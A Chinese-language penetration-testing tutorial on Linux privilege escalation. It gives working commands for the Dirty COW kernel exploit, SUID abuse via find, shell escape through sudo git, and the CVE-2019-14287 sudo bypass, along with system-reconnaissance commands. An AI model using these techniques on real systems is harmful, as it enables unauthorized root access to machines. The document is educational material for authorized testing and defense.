Linux提权
0x00 前言
渗透测试过程中,拿到低权限shell后,要进一步操作往往需要进行提权。
0x01 常见Linux提权方法
- 内核版本漏洞提权
- SUID提权
- git提权
- sudo提权(CVE-2019-14287)
0x02 Linux提权前的信息收集
1.查看内核版本
uname -a
2.查看发行版本
cat /etc/issue cat /etc/*-release
0x03 内核漏洞提权
1.脏牛漏洞提权
低权限用户利用该漏洞技术可以在全版本上实现本地提权
漏洞利用条件:内核版本>=2.6.22
exp下载地址:https://github.com/FireFart/dirtycow
本地复现:
1.查看内核版本
2.将exp放到/tmp目录下(tmp目录权限较高)
3.对dirty.c进行gcc编译生成一个可执行文件
gcc -pthread dirty.c -o dirty -lcryp
4.运行dirty文件即可进行本地提取
./dirty passwd
几分钟后出现如下结果
此时切换到firefart用户,密码为passwd
可以看到已经是root用户
2.其他内核版本提权
在linux的内核版本不满足脏牛提权的条件时,就需要查看其他版本的内核漏洞。在搜集了目标机器的内核版本后,可以使用searchsploit搜寻各种发行版本的漏洞。
查询一个CentOS 7 内核版本为3.10的内核漏洞
searchspolit centos 7 kernel 3.10
随后需要打开exp查看具体要求,选择和合适的进行利用
最后将合适的exp放到靶机上编译后执行
内核漏洞提权对内核版本、目标机器的环境要求较高(需要安装gcc),所以成功率一般较低。
0x04 SUID提权
SUID(Set User ID):是一种特殊的文件属性,允许用户在指令执行时,拥有文件拥有者的权限
SUID提权:运行root用户拥有的SUID文件,即可获得root用户权限
常见的可用于SUID提权的文件有
find、bash、nmap、vim、more、less、nano、cp
一般拿到shell后,首先查找下具有root权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
1.find提权
先看看find的权限
确实是root权限
随后执行以下命令进行提权
touch test //创建一个test文件 find test -exec '/bin/sh' \;
可以看到成功提升到root权限
0x05 git提权
首先查看可以无密码使用root权限的命令
sudo -l #查看可以使用root权限无密码的命令
发现有git命令
执行命令进行提权
sudo git help config #提权 !/bin/sh
成功切换到root权限
0x06 sudo提权(比较鸡肋)
sudo提权是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标Linux系统上以root身份执行任意命令
使用sudo提权需要满足两个条件
1.执行sudo -V的到的版本<1.8.28
2.配置文件中需要有特定配置
配置文件/etc/sudoers中使用ALL关键词
test ALL=(ALL,!root) ALL //表示test用户可以使用sudo命令,以除了root以外的任意身份去执行命令
切换到test用户下执行命令
sudo -u#-1 id
将用户ID转换为用户名的函数会将-1误认为0,正好是root用户的User ID
成功切换到root用户